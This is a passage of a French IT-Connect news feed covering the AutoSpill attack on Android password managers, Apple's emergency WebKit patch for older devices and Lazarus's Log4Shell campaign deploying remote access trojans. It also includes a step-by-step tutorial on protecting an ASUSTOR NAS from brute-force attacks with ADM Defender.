<p>Ainsi, <strong>plusieurs scénarios d'attaques sont envisageables</strong>, à commencer par <strong>une application malveillante qui héberge un formulaire de connexion ayant pour seul objectif de collecter les identifiants</strong>, en toute discrétion et sans laisser de trace sur l'appareil.</p>



<h2 class="wp-block-heading">Quelles sont les applications vulnérables ?</h2>



<p>La technique AutoSpill a été testée sur plusieurs gestionnaires de mots de passe et sur différentes versions d'Android (Android 10, Android 11 et Android 12). <strong>Plusieurs applications n'ont pas résistées :</strong></p>



<ul>
<li>1Password 7.9.4</li>



<li>LastPass 5.11.0.9519</li>



<li>Enpass 6.8.2.666</li>



<li>Keeper 16.4.3.1048</li>



<li>Keepass2Android 1.09c-r0</li>
</ul>



<p>En résumé :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="335" src="media/70b0a89c.Android-AutoSpill.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill.jpg" alt="" class="wp-image-73378" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill-550x230.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill-150x63.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill-768x322.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Android-AutoSpill-50x21.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Sachez que : <strong>U</strong> correspond à un nom d'utilisateur qui a fuité, <strong>P</strong> correspond à un mot de passe qui a fuité, et <strong>U+P</strong>, ce sont les deux.</p>



<p>Ce tableau montre qu'<strong>il y a deux bons élèves : Google Smart Lock 13.30.8.26 et DashLane 6.2221.3</strong>, car le processus de remplissage automatique fonctionne différemment. De ce fait, ils ne sont pas vulnérables à la technique AutoSpill. Enfin, il faut savoir qu'en cas d'injection JavaScript, tous les gestionnaires de mots de passe sur Android sont vulnérables à l'attaque AutoSpill. Du côté de chez <strong>1Password</strong>, il y a déjà un travail en cours sur un correctif pour se protéger d'AutoSpill. <strong>C'est dommage que Bitwarden ne soit pas dans la liste des solutions évaluées.</strong></p>



<p>Pour en savoir plus sur cette technique, vous pouvez <a href="https://www.documentcloud.org/documents/24202397-eu-23-gangwal-autospill-zero-effort-credential-stealing" target="_blank" rel="noopener nofollow" title="">consulter les slides </a>de la présentation des chercheurs de l'IIT.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/autospill-attack-steals-credentials-from-android-password-managers/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/lattaque-autospill-permet-de-voler-les-identifiants-stockes-dans-les-gestionnaires-de-mots-de-passe-android/">L’attaque AutoSpill permet de voler les identifiants stockés dans les gestionnaires de mots de passe Android</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73382
title: En urgence, Apple a mis en ligne un patch de sécurité pour les anciens iPhone !
uri: En-urgence-Apple-a-mis-en-ligne-un-patch-de-sécurité-pour-les-ancie
url: https://www.it-connect.fr/apple-patch-securite-ios-16-anciens-iphone-decembre-2023/
content:
<p><strong>Apple a mis en ligne une nouvelle mise à jour pour une ancienne version d'iOS dans le but de corriger deux failles de sécurité importantes et déjà exploitées dans le cadre d'attaques. Ainsi, Apple protège les anciennes générations d'iPhone, mais également certaines Apple Watch et Apple TV. Faisons le point.</strong></p>



<p>Fin novembre, <a href="https://www.it-connect.fr/utilisateurs-diphone-ipad-mac-protegez-vous-de-ces-deux-failles-zero-day/" target="_blank" rel="noopener" title="">Apple avait corrigé deux failles de sécurité zero-day par l'intermédiaire de la mise à jour<strong> iOS 17.1.2</strong></a><strong> pour l'iPhone</strong> (et <strong>iPadOS 17.1.2</strong> pour l'iPad). L'objectif était de protéger les utilisateurs des vulnérabilités <strong>CVE-2023-42916</strong> et <strong>CVE-2023-42917</strong>. Ces failles de sécurité se situent dans<strong> le moteur de rendu de pages Web "WebKit"</strong> utilisé par Apple sur ses différents systèmes d'exploitation. </p>



<p>La faille de sécurité <strong>CVE-2023-42916</strong>, de type "<strong><em>out-of-bounds</em>" peut amener à la divulgation d'informations sensibles </strong>simplement par le traitement du contenu d'une page Web. En ce qui concerne la faille de sécurité<strong> CVE-2023-42917</strong>, faisant référence à une corruption de la mémoire, elle pourrait permettre d'<strong>exécuter du code arbitraire sur l'appareil</strong>. Dans les deux cas, <strong>une page web malveillante</strong> visitée par l'utilisateur depuis son appareil vulnérable permettrait l'exploitation de la vulnérabilité.</p>



<h2 class="wp-block-heading">Un patch de sécurité pour iOS 16</h2>



<p>Dans <a href="https://support.apple.com/en-us/HT214034" target="_blank" rel="noopener nofollow" title="">un nouveau bulletin de sécurité</a> mis en ligne lundi 11 décembre 2023, précise : "<em>Apple a eu connaissance d'un rapport selon lequel ce problème aurait pu être exploité avec <strong>des versions d'iOS antérieures à iOS 16.7.1</strong>.</em>" </p>



<p>Le problème, c'est que<strong> les modèles d'iPhone trop anciens ne peuvent pas passer sur iOS 17.1.2</strong> pour se protéger de ces vulnérabilités. Il en va de même pour d'autres appareils Apple d'anciennes générations. En réaction, la firme de Cupertino a <strong>mis à jour en urgence les anciennes versions de ses systèmes</strong> !</p>



<p>Voici les nouvelles versions disponibles pour les utilisateurs d'iPhone, d'iPad, d'Apple TV et d'Apple Watch :</p>



<ul>
<li><strong>iOS 16.7.3</strong></li>



<li><strong>iPadOS 16.7.3</strong></li>



<li><strong>tvOS 17.2</strong></li>



<li><strong>watchOS 10.2</strong></li>
</ul>



<p>Ces mises à jour vont profiter à un ensemble d'appareils dont voici la liste :</p>



<ul>
<li><strong>iPhone 8</strong> et versions ultérieures</li>



<li><strong>iPad Pro</strong> (tous les modèles),<strong> iPad Air 3e génération</strong> et versions ultérieures, <strong>iPad 5e génération</strong> et versions ultérieures, et <strong>iPad mini 5e génération</strong> et versions ultérieures</li>



<li><strong>Apple TV HD</strong> et <strong>Apple TV 4K</strong> (tous les modèles)</li>



<li><strong>Apple Watch Series 4 </strong>et versions ultérieures</li>
</ul>



<p>Même si Apple n'a pas donné de détails sur les cyberattaques où ces vulnérabilités sont exploitées, il est préférable d'installer ces patchs de sécurité dès que possible.</p>



<p><a href="https://www.bleepingcomputer.com/news/apple/apple-emergency-updates-fix-recent-zero-days-on-older-iphones/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/apple-patch-securite-ios-16-anciens-iphone-decembre-2023/">En urgence, Apple a mis en ligne un patch de sécurité pour les anciens iPhone !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73386
uri: Le-groupe-Lazarus-exploite-la-faille-Log4Shell-pour-déployer-un-cheva
title:
Le groupe Lazarus exploite la faille Log4Shell pour déployer un cheval de Troie d’accès à distance (RAT)

url:
https://www.it-connect.fr/le-groupe-lazarus-exploite-la-faille-log4shell-pour-deployer-un-cheval-de-troie-dacces-a-distance-rat/

content:
<p><strong>La faille de sécurité Log4Shell continue d'être exploitée ! Le célèbre groupe de cybercriminels Lazarus l'exploite au sein d'une campagne de cyberattaques dans le but de déployer des malwares de type "Remote Access Trojans" (RAT) sur les machines compromises !</strong></p>



<p>En décembre 2021, nous apprenions l'existence de la vulnérabilité <strong>CVE-2021-44228</strong>, surnommée <strong><a href="https://www.it-connect.fr/vulnerabilite-log4shell-log4j-quels-sont-les-produits-vulnerables/" target="_blank" rel="noopener" title="Vulnérabilité Log4Shell (Log4j) : quels sont les produits vulnérables ?">Log4Shell</a></strong>, et qui affectait la <strong>bibliothèque Log4j </strong>utilisée par des centaines de produits... Deux ans plus tard, cette vulnérabilité continue d'être un vecteur d'attaque intéressant pour les cybercriminels, comme le prouve <strong>cette campagne menée par le groupe Lazarus, un gang de cybercriminels associé à la Corée du Nord.</strong></p>



<p>De nombreuses organisations sont ciblées, notamment dans les secteurs de l'industrie, de l'agriculture et de la sécurité physique. Selon <a href="https://www.veracode.com/blog/research/state-log4j-vulnerabilities-how-much-did-log4shell-change" target="_blank" rel="noopener nofollow" title="">Veracode</a>, <strong>2,8% des applications</strong> utilisent encore<strong> des versions vulnérables de la bibliothèque Log4j</strong> (de 2.0-beta9 à 2.15.0).</p>



<p>Les chercheurs en sécurité de Cisco Talos suivent cette campagne sous le nom d'<em>Operation Blacksmith</em>. D'après eux,<strong> les cybercriminels déploient trois malwares différents développés en D</strong> : DLRAT, NineRAT et BottomLoader. Il semblerait que les pirates exploitent la faille de sécurité Log4Shell contre <strong>des serveurs VMware Horizon</strong> accessibles sur Internet.</p>



<h2 class="wp-block-heading">Les malwares NineRAT, DLRAT et BottomLoader</h2>



<p>Une fois déployé sur une machine compromise, <strong>NineRAT est capable d'exécuter des commandes sur l'hôte</strong>, de collecter des informations sur le système, mais également de télécharger des fichiers et de se désinstaller lui-même. Les <strong>communications entre le malware et les cybercriminels</strong> sont effectuées via un service de messagerie légitime bien connu : <strong>Telegram</strong>. Ce dernier fait office de serveur C2 et les pirates s'appuient sur l'API de Telegram.</p>



<p>"<em>L'utilisation de Telegram par Lazarus est susceptible d'échapper aux mesures de détection basées sur le réseau et l'hôte en utilisant un service légitime comme canal de communication C2</em>.", précise le <a href="https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/" target="_blank" rel="noopener nofollow" title="">rapport </a>de Cisco Talos.</p>



<p>Voici la chaine d'infection habituelle de NineRAT :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="728" height="422" src="media/24c824ed.Cisco-Talos-NineRAT-Chaine-infection.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Cisco-Talos-NineRAT-Chaine-infection.jpg" alt="" class="wp-image-73394" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Cisco-Talos-NineRAT-Chaine-infection.jpg 728w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Cisco-Talos-NineRAT-Chaine-infection-550x319.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Cisco-Talos-NineRAT-Chaine-infection-150x87.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Cisco-Talos-NineRAT-Chaine-infection-50x29.jpg 50w" sizes="(max-width: 728px) 100vw, 728px" /><figcaption class="wp-element-caption">Source : Cisco Talos</figcaption></figure>



<p>En mars 2023, il aurait été utilisé dans une attaque visant une organisation agricole sud-américaine. Ensuite, en septembre 2023, c'est une entreprise de fabrication européenne qui aurait été la cible de ce malware de type RAT.</p>



<p>Par ailleurs, les cybercriminels ont utilisé <strong>DLRAT </strong>dans le cadre de cette campagne d'attaques. Il s'agit d'un malware de type RAT, comme NineRAT, mais qui est également un <em>downloader</em>, c'est-à-dire un logiciel malveillant capable de télécharger et de déployer d'autres malwares. Cet arsenal de malwares est complété par <strong>BottomLoader</strong>, ce dernier étant utilisé pour déployer un outil de proxy personnalisé appelé HazyLoad.</p>



<p><a href="https://thehackernews.com/2023/12/lazarus-group-using-log4j-exploits-to.html" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/le-groupe-lazarus-exploite-la-faille-log4shell-pour-deployer-un-cheval-de-troie-dacces-a-distance-rat/">Le groupe Lazarus exploite la faille Log4Shell pour déployer un cheval de Troie d’accès à distance (RAT)</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=70382
title: Protéger son NAS ASUSTOR des attaques brute force avec l’ADM Defender
uri: Protéger-son-NAS-ASUSTOR-des-attaques-brute-force-avec-l-ADM-Defend
url: https://www.it-connect.fr/comment-proteger-son-nas-asustor-des-attaques-brute-force/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à protéger un NAS ASUSTOR des attaques brute force en configurant le service "ADM Defender" du système d'exploitation ADM. Grâce à ce service, nous allons pouvoir bloquer les adresses IP malveillantes, voire même bannir complètement l'accès à certains pays.</strong></p>



<p>Un NAS a pour vocation à stocker vos données et à héberger plusieurs services et applications dans le but de répondre à vos besoins. Pour que ce soit encore plus pratique, il n'est pas rare de rendre son NAS accessible sur Internet. Le problème, c'est que l'on s'expose à de potentielles cyberattaques. À ce sujet, la technique la plus connue et la plus basique, c'est probablement le brute force.</p>



<p>Il est indispensable de se protéger de ce type d'attaque puisque si une personne malintentionnée parvient à se connecter à votre <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/nas/" target="_blank" rel="noopener" title="NAS" data-wpil-keyword-link="linked">NAS</a>, elle pourrait chiffrer vos données avec un ransomware et/ou voler vos données.</p>



<p><strong>En complément de la configuration d'ADM Defender détaillée dans cet article, nous vous recommandons :</strong></p>



<ul>
<li>Utiliser un mot de passe robuste pour le compte Administrateur du NAS et les différents comptes utilisateurs</li>



<li>Activer l'authentification à deux facteurs sur les comptes</li>



<li>Utiliser des ports personnalisés pour l'accès à l'interface de gestion d'ADM</li>
</ul>



<h2 class="wp-block-heading">II. La configuration cible</h2>



<p>Nous partons du principe que le NAS est accessible depuis Internet (que ce soit via EZ-Connect ou une règle de redirection de ports). Voici les règles que nous allons définir :</p>



<ul>
<li>Nous allons configurer notre NAS ASUSTOR pour qu'il <strong>accepte uniquement les connexions en provenance de la France </strong>(vous pouvez choisir le pays de votre choix), tout en refusant tout le reste.</li>



<li>Nous allons également <strong>autoriser le réseau local</strong> à partir de l'adresse réseau.</li>



<li>Nous allons<strong> bloquer pour une durée indéterminée toutes les adresses IP</strong> à l'origine de <strong>5 tentatives en échecs</strong> dans un<strong> intervalle de temps de 10 minutes</strong>.</li>
</ul>



<p>Toutefois, si une connexion est effectuée depuis la France, l'adresse IP pourra être bloquée malgré tout s'il y a plusieurs tentatives infructueuses (selon les critères définis ci-dessus).</p>



<h2 class="wp-block-heading">III. Installation du paquet Geo IP Database</h2>



<p>Afin de pouvoir effectuer un filtrage par pays, vous devez installer le paquet "<strong>Geo IP DataBase</strong>" sur votre NAS.</p>



<p>Accédez à l'interface du système ADM, ouvrez le magasin d'applications "<strong>App Central</strong>" et recherchez l'application "<strong>Geo IP DataBase</strong>" afin de l'installer.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="459" src="media/36f2f2cb.ASUSTOR-App-Geo-IP-Database.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database.jpg" alt="ASUSTOR - App Geo IP Database" class="wp-image-70386" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database-550x316.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database-150x86.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database-768x441.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-App-Geo-IP-Database-50x29.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois cette première étape effectuée, passez à la suite.</p>



<h2 class="wp-block-heading">IV. Configuration d'ADM Defender</h2>



<h3 class="wp-block-heading">A. Accès à l'ADM Defender</h3>



<p>Pour accéder à la configuration de l'<a href="https://www.asustor.com/admv2?type=2&amp;subject=10&amp;sub=38&amp;lan=fre" target="_blank" rel="noopener nofollow" title="">ADM Defender</a>, il suffit d'accéder à la partie "<strong>Réglages</strong>" d'ADM. Dans cet article, nous allons nous intéresser à la configuration de la fonction "<strong>Défenseur Réseau</strong>" qui se décompose en <strong>4 listes</strong> :</p>



<ul>
<li><strong>Liste de confiance</strong> : liste des adresses IP / réseau qu'il ne faut jamais bloquer, même s'il y a 1 000 tentatives infructueuses.</li>



<li>Liste noire auto : liste des adresses IP bloquées à cause d'un nombre trop important de tentatives en échecs dans un laps de temps défini (les adresses IP malveillantes seront répertoriées ici).</li>



<li><strong>Liste noire</strong> : liste des adresses IP, réseaux, ou pays, que vous souhaitez bloquer de façon statique / manuelle</li>



<li><strong>Liste blanche</strong> : liste des adresses IP, réseaux, ou pays, que vous souhaitez</li>
</ul>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="478" src="media/51185f2e.ASUSTOR-Presentation-ADM-Defender.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender.jpg" alt="ASUSTOR - Présentation ADM Defender" class="wp-image-70394" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender-550x329.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender-768x459.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-Presentation-ADM-Defender-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>La présentation étant faite, passons à la configuration.</p>



<h3 class="wp-block-heading">B. Configurer la liste de confiance</h3>



<p>Commencez par configurer la liste de confiance, bien que ce ne soit pas obligatoire. Toutes les adresses IP définies ici ne seront jamais bannies. Cette règle fait en quelque sorte <em>effet d'anti-lockout.</em></p>



<p> Cliquez sur "<strong>Liste de confiance</strong>" (1), sur le bouton "<strong>Ajouter</strong>" (2) puis choisissez "<strong>Masque de sous-réseau IP</strong>" afin d'indiquer l'adresse IP du réseau (3). À la maison, avec votre box, vous devriez avoir le <strong>réseau "192.168.1.0/24" ou "192.168.0.0/24"</strong>. </p>



<p>Dans cet exemple, j'estime que le<strong> réseau local de mon domicile est un réseau de confiance </strong>donc il sera autorisé. Vous pouvez mettre l'adresse IP de votre PC directement, mais si vous utilisez un serveur DHCP (votre box, par exemple), il y a des chances pour que l'adresse IP ne soit pas toujours la même.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="340" src="media/c8c81c5c.ASUSTOR-ADM-Defender-Liste-de-confiance.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance.jpg" alt="ASUSTOR - ADM Defender - Liste de confiance" class="wp-image-70391" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance-550x234.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance-150x64.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance-768x326.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-de-confiance-50x21.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Validez avec "<strong>OK</strong>" quand c'est fait. Pour chaque liste (<em>sauf la liste noire auto qui est dynamique</em>), vous pouvez créer plusieurs règles.</p>



<h3 class="wp-block-heading">C. Configurer la liste noire automatique : anti-brute force</h3>



<p>Passez à la configuration de la liste noire automatique. C'est l'activation de cette liste qui permet de mettre en place l'anti-brute force sur votre NAS ASUSTOR. Sous "<strong>Liste noire auto</strong>", cochez l'option "<strong>Activer Liste Noire Auto</strong>" et cliquez sur "<strong>Réglages</strong>" pour personnaliser les conditions pour qu'une adresse IP soit bannie.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="479" src="media/673e562f.ASUSTOR-ADM-Defender-Liste-noire-auto.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto.jpg" alt="ASUSTOR - ADM Defender - Liste noire auto" class="wp-image-70393" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto-550x329.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto-768x460.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-noire-auto-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ici, plusieurs options s'offrent à vous :</p>



<ul>
<li>Tentatives de connexion : nombre de tentatives en échec pour qu'une adresse IP soit bannie, à condition que ce soit des tentatives effectuées dans l'intervalle de temps défini pour le paramètre "<strong>Période de temps</strong>" (en prenant la première tentative en échec comme référence)</li>



<li><strong>Bloquer période</strong> : pendant combien de temps faut-il bannir une adresse IP ?</li>



<li><strong>Services à bloquer </strong>: quels sont les services à bloquer pour les adresses IP bannies ? De préférence, cochez tout pour empêcher l'accès complet au NAS.</li>
</ul>



<p>Voici un exemple de configuration :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="439" height="348" src="media/fb547db6.ASUSTOR-ADM-Defender-Protection-brute-force.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Protection-brute-force.jpg" alt="ASUSTOR - ADM Defender - Protection brute force" class="wp-image-70392" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Protection-brute-force.jpg 439w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Protection-brute-force-150x119.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Protection-brute-force-50x40.jpg 50w" sizes="(max-width: 439px) 100vw, 439px" /></figure></div>


<p>Validez. Le tour est joué !</p>



<h3 class="wp-block-heading">D. Configurer la liste blanche pour la France</h3>



<p>Grâce à l'application "Geo IP Database", nous pouvons créer des règles basées sur les continents et les pays. Ainsi, nous allons ajouter en liste blanche la "France" afin de bloquer les connexions depuis tous les autres pays (tout ce qui n'est pas en liste blanche sera interdit). C'est une restriction intéressante bien qu'elle puisse être contournée à l'aide d'un <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a>, ou en utilisant une machine située en France comme rebond. Toutefois, <strong>cette méthode est suffisante pour se protéger des attaques massives. </strong></p>



<p><strong>Si vous habitez en France, il n'y a pas de raison que quelqu'un en Chine, aux États-Unis, ou en Russie se connecte à votre NAS. </strong>Si vous avez besoin d'accéder à votre NAS lorsque vous partez à l'étranger, en vacances par exemple, vous pouvez ajouter temporairement un autre pays à la liste.</p>



<p>Cliquez sur "<strong>Liste Blanche</strong>" (1), puis cochez l'option "<strong>Activer la liste blanche</strong>" (2) avant de cliquer sur "<strong>Ajouter</strong>" pour créer une règle (3). Choisissez "<strong>Filtre pays</strong>" (4) puis "<strong>France</strong>" (5) comme pays (d'ailleurs, il y a un bug puisqu'il y a deux "<em>Continent</em>" dans la liste des paramètres). Validez quand c'est fait.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="446" src="media/4701a134.ASUSTOR-ADM-Defender-Liste-blanche.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche.jpg" alt="ASUSTOR - ADM Defender - Liste blanche" class="wp-image-70389" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche-550x307.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche-768x428.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Liste-blanche-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Voilà, toutes les personnes localisées en France (via leur adresse IP) pourront accéder à votre NAS. Toutefois, si elles sont à l'origine de trop de tentatives infructueuses, elles seront bannies.</p>



<p><strong>La configuration de l'ADM Defender est terminée ! </strong></p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><strong>La configuration de l'ADM Defender est une étape importante pour renforcer la sécurité de votre NAS ASUSTOR ! </strong>Je vous recommande vivement d'appliquer cette configuration.</p>



<p>Lorsqu'une adresse IP sera bannie, la page ci-dessous sera présentée à l'utilisateur pour l'avertir.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="386" src="media/c34a39cf.ASUSTOR-ADM-Defender-Message-bloque.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque.jpg" alt="ASUSTOR - ADM Defender - Message bloqué" class="wp-image-70390" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque-550x265.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque-150x72.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque-768x371.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/ASUSTOR-ADM-Defender-Message-bloque-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>N'hésitez pas à lire notre dernier test de NAS ASUSTOR :</p>



<ul>
<li><a href="https://www.it-connect.fr/nas-test-asustor-nimbustor-4-gen2-as5404t/" target="_blank" rel="noopener" title="NAS – Test ASUSTOR Nimbustor 4 Gen2 (AS5404T)">Test ASUSTOR Nimbustor 4 Gen2</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/comment-proteger-son-nas-asustor-des-attaques-brute-force/">Protéger son NAS ASUSTOR des attaques brute force avec l’ADM Defender</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


